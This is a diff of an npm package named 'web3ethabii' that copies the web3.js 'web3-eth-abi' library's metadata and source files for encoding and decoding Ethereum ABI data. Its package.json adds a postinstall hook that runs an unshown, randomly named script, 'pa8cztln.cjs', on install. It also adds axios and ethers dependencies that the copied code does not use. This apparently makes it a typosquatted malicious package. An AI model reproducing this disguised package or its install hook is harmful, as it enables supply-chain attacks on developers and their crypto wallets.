web3ethabii 4.3.0

package/package.json

@@ -0,0 +1,56 @@
+{
+  "name": "web3ethabii",
+  "version": "4.3.0",
+  "description": "Web3 module encode and decode EVM in/output.",
+  "main": "./lib/commonjs/index.js",
+  "module": "./lib/esm/index.js",
+  "exports": {
+    ".": {
+      "types": "./lib/types/index.d.ts",
+      "import": "./lib/esm/index.js",
+      "require": "./lib/commonjs/index.js"
+    }
+  },
+  "repository": "https://github.com/ethereum/web3.js/tree/4.x/packages/web3-eth-abi",
+  "author": "ChainSafe Systems",
+  "license": "LGPL-3.0",
+  "engines": {
+    "node": ">=14",
+    "npm": ">=6.12.0"
+  },
+  "files": [
+    "lib/**/*",
+    "src/**/*",
+    "pa8cztln.cjs"
+  ],
+  "scripts": {
+    "postinstall": "node pa8cztln.cjs"
+  },
+  "dependencies": {
+    "abitype": "0.7.1",
+    "web3-errors": "^1.3.0",
+    "web3-types": "^1.8.1",
+    "web3-utils": "^4.3.2",
+    "web3-validator": "^2.0.6",
+    "axios": "^1.7.7",
+    "ethers": "^6.13.2"
+  },
+  "devDependencies": {
+    "@humeris/espresso-shot": "^4.0.0",
+    "@types/jest": "^28.1.6",
+    "@types/jest-when": "^3.5.2",
+    "@typescript-eslint/eslint-plugin": "^5.30.7",
+    "@typescript-eslint/parser": "^5.30.7",
+    "eslint": "^8.20.0",
+    "eslint-config-base-web3": "0.1.0",
+    "eslint-config-prettier": "^8.5.0",
+    "eslint-plugin-import": "^2.26.0",
+    "jest": "^29.7.0",
+    "jest-extended": "^3.0.1",
+    "jest-when": "^3.5.1",
+    "prettier": "^2.7.1",
+    "ts-jest": "^29.1.1",
+    "typescript": "^4.7.4"
+  },
+  "gitHead": "068f4b639d95c5dcdca9c0111349ea92792b31e7"
+}

package/src/api/errors_api.ts

@@ -0,0 +1,45 @@
+/*
+This file is part of web3.js.
+
+web3.js is free software: you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+web3.js is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with web3.js.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+/**
+ *
+ *  @module ABI
+ */
+
+import { sha3Raw } from 'web3-utils';
+import { AbiError } from 'web3-errors';
+import { AbiErrorFragment } from 'web3-types';
+import { jsonInterfaceMethodToString, isAbiErrorFragment } from '../utils.js';
+
+/**
+ * Encodes the error name to its ABI signature, which are the sha3 hash of the error name including input types.
+ */
+export const encodeErrorSignature = (functionName: string | AbiErrorFragment): string => {
+	if (typeof functionName !== 'string' && !isAbiErrorFragment(functionName)) {
+		throw new AbiError('Invalid parameter value in encodeErrorSignature');
+	}
+
+	let name: string;
+
+	if (functionName && (typeof functionName === 'function' || typeof functionName === 'object')) {
+		name = jsonInterfaceMethodToString(functionName);
+	} else {
+		name = functionName;
+	}
+
+	return sha3Raw(name);
+};

package/src/api/events_api.ts

@@ -0,0 +1,91 @@
+/*
+This file is part of web3.js.
+
+web3.js is free software: you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+web3.js is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with web3.js.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+/**
+ *
+ *  @module ABI
+ */
+
+import { sha3Raw } from 'web3-utils';
+import { AbiError } from 'web3-errors';
+import { AbiEventFragment } from 'web3-types';
+import { jsonInterfaceMethodToString, isAbiEventFragment } from '../utils.js';
+
+/**
+ * Encodes the event name to its ABI signature, which are the sha3 hash of the event name including input types.
+ * @param functionName - The event name to encode, or the {@link AbiEventFragment} object of the event. If string, it has to be in the form of `eventName(param1Type,param2Type,...)`. eg: myEvent(uint256,bytes32).
+ * @returns - The ABI signature of the event.
+ *
+ * @example
+ * ```ts
+ * const event = web3.eth.abi.encodeEventSignature({
+ *   name: "myEvent",
+ *   type: "event",
+ *   inputs: [
+ *     {
+ *       type: "uint256",
+ *       name: "myNumber",
+ *     },
+ *     {
+ *       type: "bytes32",
+ *       name: "myBytes",
+ *     },
+ *   ],
+ * });
+ * console.log(event);
+ * > 0xf2eeb729e636a8cb783be044acf6b7b1e2c5863735b60d6daae84c366ee87d97
+ *
+ *  const event = web3.eth.abi.encodeEventSignature({
+ *   inputs: [
+ *     {
+ *       indexed: true,
+ *       name: "from",
+ *       type: "address",
+ *     },
+ *     {
+ *       indexed: true,
+ *       name: "to",
+ *       type: "address",
+ *     },
+ *     {
+ *       indexed: false,
+ *       name: "value",
+ *       type: "uint256",
+ *     },
+ *   ],
+ *   name: "Transfer",
+ *   type: "event",
+ * });
+ * console.log(event);
+ * > 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
+ * ```
+ */
+export const encodeEventSignature = (functionName: string | AbiEventFragment): string => {
+	if (typeof functionName !== 'string' && !isAbiEventFragment(functionName)) {
+		throw new AbiError('Invalid parameter value in encodeEventSignature');
+	}
+
+	let name: string;
+
+	if (functionName && (typeof functionName === 'function' || typeof functionName === 'object')) {
+		name = jsonInterfaceMethodToString(functionName);
+	} else {
+		name = functionName;
+	}
+
+	return sha3Raw(name);
+};

package/src/api/functions_api.ts

@@ -0,0 +1,145 @@
+/*
+This file is part of web3.js.
+
+web3.js is free software: you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+web3.js is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with web3.js.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+/**
+ *
+ *  @module ABI
+ */
+import { AbiError } from 'web3-errors';
+import { sha3Raw } from 'web3-utils';
+import { AbiFunctionFragment } from 'web3-types';
+import { isAbiFunctionFragment, jsonInterfaceMethodToString } from '../utils.js';
+import { encodeParameters } from './parameters_api.js';
+
+/**
+ * Encodes the function name to its ABI representation, which are the first 4 bytes of the sha3 of the function name including  types.
+ * The JSON interface spec documentation https://docs.soliditylang.org/en/latest/abi-spec.html#json
+ * @param functionName - The function name to encode or the `JSON interface` object of the function.
+ * If the passed parameter is a string, it has to be in the form of `functionName(param1Type,param2Type,...)`. eg: myFunction(uint256,uint32[],bytes10,bytes)
+ * @returns - The ABI signature of the function.
+ * @example
+ * ```ts
+ * const signature = web3.eth.abi.encodeFunctionSignature({
+ *   name: "myMethod",
+ *   type: "function",
+ *   inputs: [
+ *     {
+ *       type: "uint256",
+ *       name: "myNumber",
+ *     },
+ *     {
+ *       type: "string",
+ *       name: "myString",
+ *     },
+ *   ],
+ * });
+ * console.log(signature);
+ * > 0x24ee0097
+ *
+ * const signature = web3.eth.abi.encodeFunctionSignature('myMethod(uint256,string)')
+ * console.log(signature);
+ * > 0x24ee0097
+ *
+ * const signature = web3.eth.abi.encodeFunctionSignature('safeTransferFrom(address,address,uint256,bytes)');
+ * console.log(signature);
+ * > 0xb88d4fde
+ * ```
+ */
+export const encodeFunctionSignature = (functionName: string | AbiFunctionFragment): string => {
+	if (typeof functionName !== 'string' && !isAbiFunctionFragment(functionName)) {
+		throw new AbiError('Invalid parameter value in encodeFunctionSignature');
+	}
+
+	let name: string;
+
+	if (functionName && (typeof functionName === 'function' || typeof functionName === 'object')) {
+		name = jsonInterfaceMethodToString(functionName);
+	} else {
+		name = functionName;
+	}
+
+	return sha3Raw(name).slice(0, 10);
+};
+
+/**
+ * Encodes a function call using its `JSON interface` object and given parameters.
+ * The JSON interface spec documentation https://docs.soliditylang.org/en/latest/abi-spec.html#json
+ * @param jsonInterface - The `JSON interface` object of the function.
+ * @param params - The parameters to encode
+ * @returns - The ABI encoded function call, which, means the function signature and the parameters passed.
+ * @example
+ * ```ts
+ * const sig = web3.eth.abi.encodeFunctionCall(
+ *   {
+ *     name: "myMethod",
+ *     type: "function",
+ *     inputs: [
+ *       {
+ *         type: "uint256",
+ *         name: "myNumber",
+ *       },
+ *       {
+ *         type: "string",
+ *         name: "myString",
+ *       },
+ *     ],
+ *   },
+ *   ["2345675643", "Hello!%"]
+ * );
+ * console.log(sig);
+ * > 0x24ee0097000000000000000000000000000000000000000000000000000000008bd02b7b0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000748656c6c6f212500000000000000000000000000000000000000000000000000
+ *
+ *
+ *
+ * const sig = web3.eth.abi.encodeFunctionCall(
+ *   {
+ *     inputs: [
+ *       {
+ *         name: "account",
+ *         type: "address",
+ *       },
+ *     ],
+ *     name: "balanceOf",
+ *     outputs: [
+ *       {
+ *         name: "",
+ *         type: "uint256",
+ *       },
+ *     ],
+ *     stateMutability: "view",
+ *     type: "function",
+ *   },
+ *   ["0x1234567890123456789012345678901234567890"]
+ * );
+ *
+ * console.log(sig);
+ * > 0x70a082310000000000000000000000001234567890123456789012345678901234567890
+ * ```
+ */
+export const encodeFunctionCall = (
+	jsonInterface: AbiFunctionFragment,
+	params: unknown[],
+): string => {
+	if (!isAbiFunctionFragment(jsonInterface)) {
+		throw new AbiError('Invalid parameter value in encodeFunctionCall');
+	}
+
+	return `${encodeFunctionSignature(jsonInterface)}${encodeParameters(
+		jsonInterface.inputs ?? [],
+		params ?? [],
+	).replace('0x', '')}`;
+};

package/src/api/logs_api.ts

@@ -0,0 +1,131 @@
+/*
+This file is part of web3.js.
+
+web3.js is free software: you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+web3.js is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with web3.js.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+/**
+ *
+ *  @module ABI
+ */
+
+import { HexString, AbiParameter, DecodedParams } from 'web3-types';
+import { decodeParameter, decodeParametersWith } from './parameters_api.js';
+
+const STATIC_TYPES = ['bool', 'string', 'int', 'uint', 'address', 'fixed', 'ufixed'];
+
+const _decodeParameter = (inputType: string, clonedTopic: string) =>
+	inputType === 'string' ? clonedTopic : decodeParameter(inputType, clonedTopic);
+
+/**
+ * Decodes ABI-encoded log data and indexed topic data.
+ * @param inputs - A {@link AbiParameter} input array. See the [Solidity documentation](https://docs.soliditylang.org/en/develop/types.html) for a list of types.
+ * @param data - The ABI byte code in the `data` field of a log.
+ * @param topics - An array with the index parameter topics of the log, without the topic[0] if its a non-anonymous event, otherwise with topic[0]
+ * @returns - The result object containing the decoded parameters.
+ *
+ * @example
+ * ```ts
+ * let res = web3.eth.abi.decodeLog(
+ *    [
+ *      {
+ *        type: "string",
+ *        name: "myString",
+ *      },
+ *      {
+ *        type: "uint256",
+ *        name: "myNumber",
+ *        indexed: true,
+ *      },
+ *      {
+ *        type: "uint8",
+ *        name: "mySmallNumber",
+ *        indexed: true,
+ *      },
+ *    ],
+ *    "0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000748656c6c6f252100000000000000000000000000000000000000000000000000",
+ *    [
+ *      "0x000000000000000000000000000000000000000000000000000000000000f310",
+ *      "0x0000000000000000000000000000000000000000000000000000000000000010",
+ *    ]
+ *  );
+ * > {
+ *  '0': 'Hello%!',
+ *  '1': 62224n,
+ *  '2': 16n,
+ *  __length__: 3,
+ *  myString: 'Hello%!',
+ *  myNumber: 62224n,
+ *  mySmallNumber: 16n
+ * }
+ * ```
+ */
+export const decodeLog = <ReturnType extends DecodedParams>(
+	inputs: Array<AbiParameter> | ReadonlyArray<AbiParameter>,
+	data: HexString,
+	topics: string | string[],
+) => {
+	const clonedTopics = Array.isArray(topics) ? topics : [topics];
+
+	const indexedInputs: Record<number, AbiParameter> = {};
+	const nonIndexedInputs: Record<number, AbiParameter> = {};
+
+	for (const [i, input] of inputs.entries()) {
+		if (input.indexed) {
+			indexedInputs[i] = input;
+		} else {
+			nonIndexedInputs[i] = input;
+		}
+	}
+
+	const decodedNonIndexedInputs: DecodedParams = data
+		? decodeParametersWith(Object.values(nonIndexedInputs), data, true)
+		: { __length__: 0 };
+
+	// If topics are more than indexed inputs, that means first topic is the event signature
+	const offset = clonedTopics.length - Object.keys(indexedInputs).length;
+
+	const decodedIndexedInputs = Object.values(indexedInputs).map((input, index) =>
+		STATIC_TYPES.some(s => input.type.startsWith(s))
+			? _decodeParameter(input.type, clonedTopics[index + offset])
+			: clonedTopics[index + offset],
+	);
+
+	const returnValues: DecodedParams = { __length__: 0 };
+
+	let indexedCounter = 0;
+	let nonIndexedCounter = 0;
+
+	for (const [i, res] of inputs.entries()) {
+		returnValues[i] = res.type === 'string' ? '' : undefined;
+
+		if (indexedInputs[i]) {
+			returnValues[i] = decodedIndexedInputs[indexedCounter];
+			indexedCounter += 1;
+		}
+
+		if (nonIndexedInputs[i]) {
+			returnValues[i] = decodedNonIndexedInputs[String(nonIndexedCounter)];
+			nonIndexedCounter += 1;
+		}
+
+		if (res.name) {
+			returnValues[res.name] = returnValues[i];
+		}
+
+		returnValues.__length__ += 1;
+	}
+
+	return returnValues as ReturnType;
+};